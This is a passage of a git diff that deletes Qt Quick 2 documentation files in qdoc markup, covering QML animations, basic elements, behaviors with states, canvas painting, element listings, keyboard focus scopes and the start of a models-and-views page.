smoothly track a value -\li \l {SpringAnimation} - Allows a property to track a value in a spring-like motion -\li \l {ScriptAction} - Runs scripts during an animation -\endlist - -Elements that animate properties based on data types -\list -\li \l {PropertyAnimation} - Animates property changes -\li \l {NumberAnimation} - Animates properties of type qreal -\li \l {Vector3dAnimation} - Animates properties of type QVector3d -\li \l {ColorAnimation} - Animates color changes -\li \l {RotationAnimation} - Animates rotations -\li \l {ParentAnimation} - Animates parent changes -\li \l {AnchorAnimation} - Animates anchor changes -\endlist - -Animations are created by applying animation elements to property -values. Animation elements will interpolate property values to create smooth -transitions. As well, state transitions may assign animations to state changes. - -To create an animation, use an appropriate animation element for the type of -the property that is to be animated, and apply the animation depending on the -type of behavior that is required. - -\section1 Triggering Animations - -There are several ways of setting animation to an object. - -\section2 Direct Property Animation - -To create an immediate movement or animated movement, set the property value -directly. This may be done in signal handlers or attached properties. - -\snippet doc/src/snippets/qml/animation.qml direct property change - -However, to create more control, \e {property animations} apply smooth movements -by interpolating values between property value changes. Property animations -provide timing controls and allows different interpolations through -\l{qml-easing-animation}{easing curves}. - -\snippet doc/src/snippets/qml/animation.qml property animation - -Specialized \l{qml-property-animation-elements}{property animation elements} -have more efficient implementations than the \l{PropertyAnimation} element. They -are for setting animations to different QML types such as \c int, \c color, and -rotations. Similarly, the \l{ParentAnimation} can animate parent changes. - -See the \l {qml-controlling-animations}{Controlling Animations} section for more -information about the different animation properties. - -\keyword qml-transition-animations -\section2 Transitions during State Changes - -\l{States}{States} are property configurations where a property may have different values to reflect different states. State changes introduce -abrupt property changes; animations smooth transitions to produce visually -appealing state changes. - -The \l{Transition} element can contain -\l{qml-animation-elements}{animation elements} to interpolate property changes -caused by state changes. To assign the transition to an object, bind it to the -\c transitions property. - -A button might have two states, the \c pressed state when the user clicks on the -button and a \c released state when the user releases the button. We can assign -different property configurations for each state. A transition would animate the -change from the \c pressed state to the \c released state. Likewise, there would -be an animation during the change from the \c released state to the \c pressed -state. - -\snippet doc/src/snippets/qml/animation.qml transition animation - -Binding the \c to and \c from properties to the state's name will assign that -particular transition to the state change. For simple or symmetric transitions, -setting the to \c to property to the wild card symbol, "\c{*}", denotes -that the transition applies to any state change. - -\snippet doc/src/snippets/qml/animation.qml wildcard animation - -\section2 Default Animation as Behaviors - -Default property animations are set using \e {behavior animations}. Animations -declared in \l {Behavior} elements apply to the property and animates any -property value changes. However, Behavior elements have an -\c enabled property to purposely enable or disable the behavior animations. - -A ball component might have a behavior animation assigned to its \c x, \c y, and -\c color properties. The behavior animation could be set up to simulate an -elastic effect. In effect, this behavior animation would apply the elastic -effect to the properties whenever the ball moves. - -\snippet doc/src/snippets/qml/animation.qml behavior animation - -There are several methods of assigning behavior animations to properties. The -\c{Behavior on } declaration is a convenient way of assigning a -behavior animation onto a property. - -See the \l {declarative/animation/behaviors}{Behaviors example} for a -demonstration of behavioral animations. - -\section1 Playing Animations in Parallel or in Sequence - -Animations can run \e {in parallel} or \e {in sequence}. Parallel animations -will play a group of animations at the same time while sequential animations -play a group of animations in order: one after the other. Grouping animations in -\l{SequentialAnimation} and \l{ParallelAnimation} will play the animations in -sequence or in parallel. - -A banner component may have several icons or slogans to display, one after the -other. The \c opacity property could transform to \c 1.0 denoting an opaque -object. Using the \l{SequentialAnimation} element, the opacity animations will -play after the preceding animation finishes. The \l{ParallelAnimation} element -will play the animations at the same time. - -\snippet doc/src/snippets/qml/animation.qml sequential animation - -Once individual animations are placed into a SequentialAnimation or -ParallelAnimation, they can no longer be started and stopped independently. The -sequential or parallel animation must be started and stopped as a group. - -The \l SequentialAnimation element is also useful for playing -\l{qml-transition-animations}{transition animations} because animations are -played in parallel inside transitions. - -See the \l {declarative/animation/basics}{Animation basics example} for a -demonstration of creating and combining multiple animations in QML. - -\keyword qml-controlling-animations -\section1 Controlling Animations - -There are different methods to control animations. - -\section2 Animation Playback -All \l{qml-animation-elements}{animation elements} inherit from the \l Animation element. It is not -possible to create \l Animation objects; instead, this element provides the -essential properties and methods for animation elements. Animation elements have -\c{start()}, \c{stop()}, \c{resume()}, \c{pause()}, \c {restart()}, and -\c{complete()} -- all of these methods control the execution of animations. - -\keyword qml-easing-animation -\section2 Easing - -Easing curves define how the animation will interpolate between the start value -and the end value. Different easing curves might go beyond the defined range of -interpolation. The easing curves simplify the creation of animation effects such -as bounce effects, acceleration, deceleration, and cyclical animations. - -A QML object may have different easing curve for each property animation. There -are also different parameters to control the curve, some of which are exclusive -to a particular curve. For more information about the easing curves, visit the -\l {PropertyAnimation::easing.type}{easing} documentation. - -The \l{declarative/animation/easing}{easing example} visually demonstrates each -of the different easing types. - -\section2 Other Animation Elements - -In addition, QML provides several other elements useful for animation: - -\list -\li PauseAnimation: enables pauses during animations -\li ScriptAction: allows JavaScript to be executed during an animation, and can -be used together with StateChangeScript to reused existing scripts -\li PropertyAction: changes a property \e immediately during an animation, -without animating the property change -\endlist - -These are specialized animation elements that animate different property types -\list -\li SmoothedAnimation: a specialized NumberAnimation that provides smooth -changes in animation when the target value changes -\li SpringAnimation: provides a spring-like animation with specialized -attributes such as \l {SpringAnimation::}{mass}, -\l{SpringAnimation::}{damping} and \l{SpringAnimation::}{epsilon} -\li ParentAnimation: used for animating a parent change (see ParentChange) -\li AnchorAnimation: used for animating an anchor change (see AnchorChanges) -\endlist - -\section1 Sharing Animation Instances - -Sharing animation instances between Transitions or Behaviors is not -supported, and may lead to undefined behavior. In the following example, -changes to the Rectangle's position will most likely not be correctly animated. - -\qml -Rectangle { - // NOT SUPPORTED: this will not work correctly as both Behaviors - // try to control a single animation instance - NumberAnimation { id: anim; duration: 300; easing.type: Easing.InBack } - Behavior on x { animation: anim } - Behavior on y { animation: anim } -} -\endqml - -The easiest fix is to repeat the NumberAnimation for both Behaviors. If the repeated -animation is rather complex, you might also consider creating a custom animation -component and assigning an instance to each Behavior, for example: - -\qml -// MyNumberAnimation.qml -NumberAnimation { id: anim; duration: 300; easing.type: Easing.InBack } -\endqml - -\qml -// main.qml -Rectangle { - Behavior on x { MyNumberAnimation {} } - Behavior on y { MyNumberAnimation {} } -} -\endqml - -*/ - - - -\snippet doc/src/snippets/qml/animation-elements.qml color -\snippet doc/src/snippets/qml/animation-propertyvaluesource.qml 0 -\snippet doc/src/snippets/qml/animation-signalhandler.qml 0 -\snippet doc/src/snippets/qml/animation-standalone.qml 0 - -\snippet doc/src/snippets/qml/animation-transitions.qml 0 -\snippet doc/src/snippets/qml/animation-groups.qml 0 - -\snippet doc/src/snippets/qml/animation-groups.qml 1 -\snippet doc/src/snippets/qml/animation-groups.qml 0 -\image propanim.gif - diff --git a/doc/src/qtquick2/basicelements.qdoc b/doc/src/qtquick2/basicelements.qdoc deleted file mode 100644 index b1112e6..0000000 --- a/doc/src/qtquick2/basicelements.qdoc +++ /dev/null @@ -1,131 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-basicelements.html -\ingroup qml-features -\title Basic Elements -\brief introduction to the Qt Quick Elements - -Qt Quick includes \e elements for placing components. These can be combined -to form other components. - -\code -import QtQuick 2.0 -\endcode -\section1 Basic Elements -This is a list of some of the elements readily available for users. -\list -\li \l {Item} -\li \l {Rectangle} -\li \l {Image} -\li \l {Text} -\li \l {TextInput} -\li \l {TextEdit} -\li \l {FocusScope} -\li \l {Component} -\li \l {MouseArea} -\endlist - -For a complete list of QML elements, please visit the \l {QML Elements} page. - -\section1 Item Element - -Many QML elements inherit \l Item properties. \c Item possesses important properties -such as \c focus, \c children, and dimension properties such as \c width and -\c height. Although \c Item has physical properties, it is not a visual element. -Using \c Item as the top-level QML element (as the screen) will not produce a -visual result, use the \l {Rectangle} element instead. Use the \c Item to create -opacity effects, such as when creating an invisible container to hold other -components. - -\section1 Rectangle Element - -The \l Rectangle element is the basic visual element, for displaying different -types of items onto the screen. The \c Rectangle is customizable and utilizes -other elements such as \l Gradient and \l BorderImage for displaying advanced -customized graphics. - -\section1 Image Element - -To insert an image into a QML scene, merely declare an \l Image element. The -\c Image element can load images in formats supported by Qt. - -\section1 Text Elements - -The \l Text and \l TextEdit elements display formatted text onto the screen. -\c TextEdit features multi-line editing while the \l TextInput element is for -single line text input. - -\keyword qml-top-level-component -\section1 Using Elements as the Top-Level Component - -For creating components, there are different -elements that could be used as the top-level component. To display a simple scene, -a \l Rectangle as the top-level component may suffice. \l Rectangle, -\l FocusScope, \l Component, \l {QML:QtObject} {QtObject}, \l Item, are some of -the commonly used elements as the top-level component. - -When importing components, the top-level component is important because the -top-level component's properties are the only properties exposed to the parent. - -For example, a \c Button component may be implemented using different elements as -its top-level component. When this component is loaded into another QML scene, -the component will retain the top-level component's properties. If a non-visual -component is the top-level component, the visual properties should be aliased to -the top-level to display the component properly. - -For more information on how to build upon QML elements, see the -\l{QML Components} document. - -\section1 Additional Elements - -The \l{Local Storage}{SQL Local Storage API} provides a JavaScript interface to an SQL relational -database. The import statement needs a namespace - -\code -import QtQuick.LocalStorage 2.0 as SQL -\endcode - -The \l{QML Module QtQuick.Particles 2}{QtQuick.Particles} module provides a -particle system for additional graphics. The -\l{qml-particlesystem.html}{Using the Qt Quick Particle System} article outlines -the system features. -\code -import QtQuick.Particles 2.0 -\endcode - -\section1 Extending and Importing Elements - -Components may use the basic elements to create new components or to add -functionality to existing components. In addition, external component sets -may exist to perform logic or provide plugins. - -To extend existing elements or to create a custom component, the articles -\l{Creating QML Types} and \l{The QML Engine} contain information about -registering new types into the QML engine. -*/ diff --git a/doc/src/qtquick2/behaviors-and-states.qdoc b/doc/src/qtquick2/behaviors-and-states.qdoc deleted file mode 100644 index ab2e1f7..0000000 --- a/doc/src/qtquick2/behaviors-and-states.qdoc +++ /dev/null @@ -1,207 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-behaviors-states.html tutorial -\title Using QML Behaviors with States -\brief animating property changes with behaviors - -\section1 Using Behaviors with States - -In some cases you may choose to use a Behavior to animate a property change caused by a state change. While this works well for some situations, in other situations it may lead to unexpected behavior. - -Here's an example that shows the problem: - -\qml -import QtQuick 2.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - color: "red" - Behavior on color { - ColorAnimation {} - } - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - - states: State { - name: "GreenState" - when: mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "green" - } - } - } -} -\endqml - -Testing the example by quickly and repeatedly moving the mouse in to and out of the colored rectangle shows that the colored rectangle will settle into a green color over time, never returning to full red. This is not what we wanted! The -problem occurs because we have used a Behavior to animate the change in color, and our state change is trigged by the mouse entering or exiting the MouseArea, which is easily interrupted. - -To state the problem more formally, using States and Behaviors together can cause unexpected behavior when: -\list -\li a Behavior is used to animate a property change, specifically when moving from an explicitly defined state back to the implicit base state; and -\li this Behavior can be interrupted to (re-)enter an explicitly defined state. -\endlist - -The problem occurs because of the way the base state is defined for QML: as the "snapshot" state of the application just prior to entering an explicitly defined state. In this case, if we are in the process of animating from green back -to red, and interrupt the animation to return to "GreenState", the base state will include the color in its intermediate, mid-animation form. - -While future versions of QML should be able to handle this situation more gracefully, there are currently several ways to rework your application to avoid this problem. - -1. Use a transition to animate the change, rather than a Behavior. - -\qml -import QtQuick 2.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - color: "red" - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - - states: State { - name: "GreenState" - when: mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "green" - } - } - - transitions: Transition { - ColorAnimation {} - } - } -} -\endqml - -2. Use a conditional binding to change the property value, rather than a state - -\qml -import QtQuick 2.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - color: mouser.containsMouse ? "green" : "red" - Behavior on color { - ColorAnimation {} - } - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - } -} -\endqml - -3. Use only explicitly defined states, rather than an implicit base state - -\qml -import QtQuick 2.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - Behavior on color { - ColorAnimation {} - } - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - - states: [ - State { - name: "GreenState" - when: mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "green" - } - }, - State { - name: "RedState" - when: !mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "red" - } - }] - } -} -\endqml - -*/ diff --git a/doc/src/qtquick2/canvaspainting.qdoc b/doc/src/qtquick2/canvaspainting.qdoc deleted file mode 100644 index 3b1f742..0000000 --- a/doc/src/qtquick2/canvaspainting.qdoc +++ /dev/null @@ -1,44 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-canvaspainting.html -\ingroup qml-features -\title Painting with Canvas API -\brief custom graphics with the Canvas API - -\section1 Canvas Element - -\list - \li \l{Canvas} - \li \l{Context2D} -\endlist - -The Canvas and Context2D elements implement the \l{HTML Canvas API 2D Context} -and allows applications to have custom painting routines. - -*/ diff --git a/doc/src/qtquick2/elements.qdoc b/doc/src/qtquick2/elements.qdoc deleted file mode 100644 index 63fcd1a..0000000 --- a/doc/src/qtquick2/elements.qdoc +++ /dev/null @@ -1,191 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-elements.html -\title Qt Quick Elements -\brief a listing of standard elements in Qt Quick - - -\target elements - -These are the functionally grouped lists of Qt Quick elements as part of -\l{Qt Quick}. You can also browse the module pages for \l{QtQuick 2} and \l{QtQuick.Particles 2} - -Elements are declared with the their name and two curly braces. Elements may -be nested in elements, thereby creating a parent-child relationship between the -two elements. - -\section1 Basic Elements -\list -\li \l {Item} - Basic item element inherited by visual elements -\endlist - -\section1 Graphics -\list -\li \l {Rectangle} - A rectangle element -\li \l {Image} - For incorporating bitmaps into a scene -\li \l {BorderImage} - Allows the use of images as borders -\li \l {AnimatedImage} - For playing animations stored in a series of frames -\li \l {Gradient} - For defining a color gradient -\li \l {GradientStop} - Used to define a color within a \l {Gradient} -\li \l {SystemPalette} - Provides access to the Qt palettes -\li \l {Canvas} - Provides a 2D canvas element -\endlist - -\section1 Text Handling -\list -\li \l {Text} - For inserting formatted text into a scene -\li \l {TextInput} - Captures user key input -\li \l {TextEdit} - Displays multiple lines of editable formatted text -\li \l {IntValidator} - Validates values as integers -\li \l {DoubleValidator} - Validates real values -\li \l {RegExpValidator} - Validator for string regular expressions -\li \l {FontLoader} - Loads fonts by name or URL -\endlist - -\section1 Mouse and Interaction Area -\list -\li \l {MouseArea} - Sets up an area for mouse interaction -\li \l {Keys} - Provides components with attached properties to handle key input. -\li \l {FocusScope} - Element that mediate keyboard focus changes -\li \l {Flickable} - Provides a surface that can be "flicked" -\li \l {Flipable} - Provides a surface that produces "flipping" effects -\li \l {PinchArea} - Enables simple pinch gesture handling -\li \l {MultiPointTouchArea} - Enables handling of multiple touch points -\endlist - -\section1 Positioners and Repeater -\list -\li \l {Column} - Arranges its children vertically -\li \l {Row} - Arranges its children horizontally -\li \l {Grid} - Positions its children in a grid -\li \l {Flow} - Positions its children with wrapping support -\li \l {Repeater} - Uses a model to create multiple components -\endlist - -\section1 Transformations -\list -\li \l {Scale} - Assigns item scaling behaviors -\li \l {Rotation} - Assigns item rotation behaviors -\li \l {Translate} - Assigns item translation behaviors -\endlist - -\section1 States -\list -\li \l {State} - Defines sets of configurations of objects and properties -\li \l {PropertyChanges} - Describes property changes within a state -\li \l {StateGroup} - Contains a set of states and state transitions -\li \l {StateChangeScript} - Allows script binding in a state -\li \l {ParentChange} - Re-parent an Item in a state change -\li \l {AnchorChanges} - Change the anchors of an item in a state -\endlist - -\section1 Animation and Transitions -\list -\li \l {Transition} - Animates transitions during state changes -\li \l {SequentialAnimation} - Runs animations sequentially -\li \l {ParallelAnimation} - Runs animations in parallel -\li \l {Behavior} - Specifies a default animation for property changes -\li \l {PropertyAction} - Sets immediate property changes during animation -\li \l {PauseAnimation} - Introduces a pause in an animation -\li \l {SmoothedAnimation} - Allows a property to smoothly track a value -\li \l {SpringAnimation} - Allows a property to track a value in a spring-like motion -\li \l {ScriptAction} - Runs scripts during an animation -\endlist - -Elements that animate properties based on data types -\list -\li \l {PropertyAnimation} - Animates property changes -\li \l {NumberAnimation} - Animates properties of type qreal -\li \l {Vector3dAnimation} - Animates properties of type QVector3d -\li \l {ColorAnimation} - Animates color changes -\li \l {RotationAnimation} - Animates rotations -\li \l {ParentAnimation} - Animates parent changes -\li \l {AnchorAnimation} - Animates anchor changes -\li \l {PathAnimation} - Animates position along a path -\endlist - -Elements that provide lower-level animation control -\list -\li \l {PathInterpolator} - Allows manual animation along a path -\li \l {AnimationController} - Allows manual control of animation progress -\endlist - -\section1 Models and Data Handling -\list -\li \l {QtQuick2::ListModel}{ListModel} - Defines a list of data -\li \l {QtQuick2::ListElement}{ListElement} - Defines a data item in a \l {QtQuick2::ListModel}{ListModel} -\li \l {VisualItemModel} - Contains items that already defines its own visual delegate -\li \l {VisualDataModel} - Encapsulates a model and a delegate -\li \l {XmlListModel} - Specifies a model using XPath expressions -\li \l {XmlRole} - Specifies a role for an \l {XmlListModel} -\li \l {Binding} - Binds any value to any property -\li \l {Package} - Collection that enables sharing of items within different views -\endlist - -\section1 Views -\list -\li \l {ListView} - Provides a list visualization of a model -\li \l {GridView} - Provides a grid visualization of a model -\li \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information. -\endlist - -\section1 Path Definition -\list -\li \l {Path} - Defines a path used by \l {PathView} -\li \l {PathLine} - Defines a line in \l {Path} -\li \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path} -\li \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path} -\li \l {PathArc} - Defines an arc in a \l {Path} -\li \l {PathCurve} - Defines a point on a Catmull-Rom curve in a \l {Path} -\li \l {PathSvg} - Defines a sub-path specified as a SVG path data string in a \l {Path} -\li \l {PathAttribute} - Allows the setting of attributes along a \l {Path} -\li \l {PathPercent} - Modifies the item distribution along a \l {Path} -\endlist - -\section1 Utility -\list -\li \l {Connections} - Explicitly connects signals and signal handlers -\li \l {Timer} - Provides timed triggers -\li \l {Loader} - Controls the loading of items or components -\endlist - -\section1 Graphical Effects -\list -\li \l {ShaderEffect} - Allows GLSL shaders to be used as graphical effects -\li \l {ShaderEffectSource} - Usable as a texture in ShaderEffect -\li \l {GridMesh} - Generates a gird mesh of vertices for use by ShaderEffect -\li The \l{QtQuick.Particles 2} module provides a set of Particle System elements for QtQuick 2 -\endlist - -\section1 Accessibility -\list -\li \l {Accessible} - Attached property to make components accessible -\endlist - -*/ diff --git a/doc/src/qtquick2/focus.qdoc b/doc/src/qtquick2/focus.qdoc deleted file mode 100644 index 3528169..0000000 --- a/doc/src/qtquick2/focus.qdoc +++ /dev/null @@ -1,206 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-keyboardfocus.html -\ingroup qml-features -\title Keyboard Focus in QML -\brief handling keyboard focus - -When a key is pressed or released, a key event is generated and delivered to the -focused QML \l Item. To facilitate the construction of reusable components -and to address some of the cases unique to fluid user interfaces, the QML items add aged -\e scope based extension to Qt's traditional keyboard focus model. - -\tableofcontents - -\section1 Key Handling Overview - -When the user presses or releases a key, the following occurs: -\list 1 -\li Qt receives the key action and generates a key event. -\li If the Qt widget containing the \l QQuickView has focus, the key event -is delivered to it. Otherwise, regular Qt key handling continues. -\li The key event is delivered by the scene to the QML \l Item with -\e {active focus}. If no Item has active focus, the key event is -\l {QEvent::ignore()}{ignored} and regular Qt key handling continues. -\li If the QML Item with active focus accepts the key event, propagation -stops. Otherwise the event is "bubbled up", by recursively passing it to each -Item's parent until either the event is accepted, or the root Item is reached. - -If the \c {Rectangle} element in the following example has active focus and the \c A key is pressed, -it will bubble up to its parent. However, pressing the \c B key will bubble up to the root -item and thus subsequently be ignored. - -\snippet doc/src/snippets/qml/focus/rectangle.qml simple key event -\snippet doc/src/snippets/qml/focus/rectangle.qml simple key event end - -\li If the root \l Item is reached, the key event is \l {QEvent::ignore()}{ignored} and regular Qt key handling continues. - -\endlist - -See also the \l {Keys}{Keys attached property} and \l {KeyNavigation}{KeyNavigation attached property}. - -\section1 Querying the Active Focus Item - -Whether or not an \l Item has active focus can be queried through the -property \c {Item::activeFocus} property. For example, here we have a \l Text -element whose text is determined by whether or not it has active focus. - -\snippet doc/src/snippets/qml/focus/rectangle.qml active focus - -\section1 Acquiring Focus and Focus Scopes - -An \l Item requests focus by setting the \c focus property to \c true. - -For very simple cases simply setting the \c focus property is sometimes -sufficient. If we run the following example with the \l {QML Viewer}, we see that -the \c {keyHandler} element has active focus and pressing the \c A, \c B, -or \c C keys modifies the text appropriately. - -\snippet doc/src/snippets/qml/focus/basicwidget.qml focus true - -\image declarative-qmlfocus1.png - -However, were the above example to be used as a reusable or imported component, -this simple use of the \c focus property is no longer sufficient. - -To demonstrate, we create two instances of our previously defined component and -set the first one to have focus. The intention is that when the \c A, \c B, or -\c C keys are pressed, the first of the two components receives the event and -responds accordingly. - -The code that imports and creates two MyWidget instances: -\snippet doc/src/snippets/qml/focus/widget.qml window - -The MyWidget code: -\snippet doc/src/snippets/qml/focus/MyWidget.qml mywidget - -We would like to have the first MyWidget object to have the focus by setting its -\c focus property to \c true. However, by running the code, we can confirm that -the second widget receives the focus. - -\image declarative-qmlfocus2.png - -Looking at both \c MyWidget and \c window code, the problem is evident - there -are three elements that set the \c focus property set to \c true. The two -MyWidget sets the \c focus to \c true and the \c window component also sets the -focus. Ultimately, only one element can have keyboard focus, and the system has -to decide which element receives the focus. When the second MyWidget is created, -it receives the focus because it is the last element to set its \c focus -property to \c true. - -This problem is due to visibility. The \c MyWidget component would like to have -the focus, but it cannot control the focus when it is imported or reused. -Likewise, the \c window component does not have the ability to know if its -imported components are requesting the focus. - -To solve this problem, the QML introduces a concept known as a \e {focus scope}. -For existing Qt users, a focus scope is like an automatic focus proxy. -A focus scope is created by declaring the \l FocusScope element. - -In the next example, a \l FocusScope element is added to the component, and the -visual result shown. - -\snippet doc/src/snippets/qml/focus/myfocusscopewidget.qml widget in focusscope - -\image declarative-qmlfocus3.png - - -Conceptually \e {focus scopes} are quite simple. -\list -\li Within each focus scope one element may have \c {Item::focus} set to -\c true. If more than one \l Item has the \c focus property set, the -last element to set the \c focus will have the focus and the others are unset, -similar to when there are no focus scopes. -\li When a focus scope receives active focus, the contained element with -\c focus set (if any) also gets the active focus. If this element is -also a \l FocusScope, the proxying behavior continues. Both the -focus scope and the sub-focused item will have \c activeFocus property set. -\endlist - -Note that, since the FocusScope element is not a visual element, the properties -of its children need to be exposed to the parent item of the FocusScope. Layouts -and positioning elements will use these visual and styling properties to create -the layout. In our example, the \c Column element cannot display the two widgets -properly because the FocusScope lacks visual properties of its own. The MyWidget -component directly binds to the \c rectangle properties to allow the \c Column -element to create the layout containing the children of the FocusScope. - -So far, the example has the second component statically selected. It is trivial -now to extend this component to make it clickable, and add it to the original -application. We still set one of the widgets as focused by default. -Now, clicking either MyClickableWidget gives it focus and the other widget -loses the focus. - -The code that imports and creates two MyClickableWidget instances: -\snippet doc/src/snippets/qml/focus/clickablewidget.qml clickable window - -The MyClickableWidget code: -\snippet doc/src/snippets/qml/focus/MyClickableWidget.qml clickable in focusscope - -\image declarative-qmlfocus4.png - -When a QML \l Item explicitly relinquishes focus (by setting its -\c focus property to \c false while it has active focus), the -system does not automatically select another element to receive focus. That is, -it is possible for there to be no currently active focus. - -See the \l{declarative/keyinteraction/focus}{Keyboard Focus example} for a -demonstration of moving keyboard focus between multiple areas using FocusScope -elements. - -\section1 Advanced uses of Focus Scopes - -Focus scopes allow focus to allocation to be easily partitioned. Several -QML items use it to this effect. - -\l ListView, for example, is itself a focus scope. Generally this isn't -noticeable as \l ListView doesn't usually have manually added visual children. -By being a focus scope, \l ListView can focus the current list item without -worrying about how that will effect the rest of the application. This allows the -current item delegate to react to key presses. - -This contrived example shows how this works. Pressing the \c Return key will -print the name of the current list item. - -\snippet doc/src/snippets/qml/focus/advancedFocus.qml FocusScope delegate - -\image declarative-qmlfocus5.png - -While the example is simple, there are a lot going on behind the scenes. Whenever -the current item changes, the \l ListView sets the delegate's \c {Item::focus} -property. As the \l ListView is a focus scope, this doesn't affect the -rest of the application. However, if the \l ListView itself has -active focus this causes the delegate itself to receive active focus. -In this example, the root element of the delegate is also a focus scope, -which in turn gives active focus to the \c {Text} element that actually performs -the work of handling the \c {Return} key. - -All of the QML view classes, such as \l PathView and \l GridView, behave -in a similar manner to allow key handling in their respective delegates. -*/ diff --git a/doc/src/qtquick2/modelview.qdoc b/doc/src/qtquick2/modelview.qdoc deleted file mode 100644 index 28f5a57..0000000 --- a/doc/src/qtquick2/modelview.qdoc +++ /dev/null @@ -1,378 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qtquick-modelview.html -\title Models and Views -\brief how to display and form data in QML - -Simply put, applications need to form data and display the data. QML has the -notion of \e models, \e views, and \e delegates to display data. They modularize -the visualization of data in order to give the developer or designer control -over the different aspects of the data. A developer can swap a list view with a -grid view with little changes to the data. Similarly, encapsulating an instance -of the data in a delegate allows the developer to dictate how to present or -handle the data. - -\image modelview-overview.png -\list -\li \b Model - contains the data and its structure. There are several QML -elements for creating models. -\li \b View - a container that displays the data. The view might -display the data in a list or a grid. -\li \b Delegate - dictates how the data should appear in the view. -The delegate takes each data in the model and encapsulates it. The data is -accessible through the delegate. -\endlist - -To visualize data, bind the view's \c model property to a model and the -\c delegate property to a component or an element. - -\section1 Displaying Data with Views - - Views are containers for collections of items. They are feature-rich and can be - customizable to meet style or behavior requirements. - - \keyword qml-view-elements - A set of standard views are provided in the basic set of Qt Quick - graphical elements: - - \list - \li \l{ListView} - arranges items in a horizontal or vertical list - \li \l{GridView} - arranges items in a grid within the available space - \li \l{PathView} - arranges items on a path - \endlist - - These elements have properties and behaviors exclusive to each element. - Visit their respective documentation for more information. - - \section2 Decorating Views - - Views allow visual customization through \e decoration properties such as - the \c header, \c footer, and \c section properties. By binding an object, - usually another visual object, to these properties, the views are - decoratable. A footer may include a \l Rectangle element showcasing borders - or a header that displays a logo on top of the list. - - Suppose that a specific club wants to decorate its members list with its brand - colors. A member list is in a \c model and the \c delegate will display the - model's content. - \snippet doc/src/snippets/qml/listview-decorations.qml 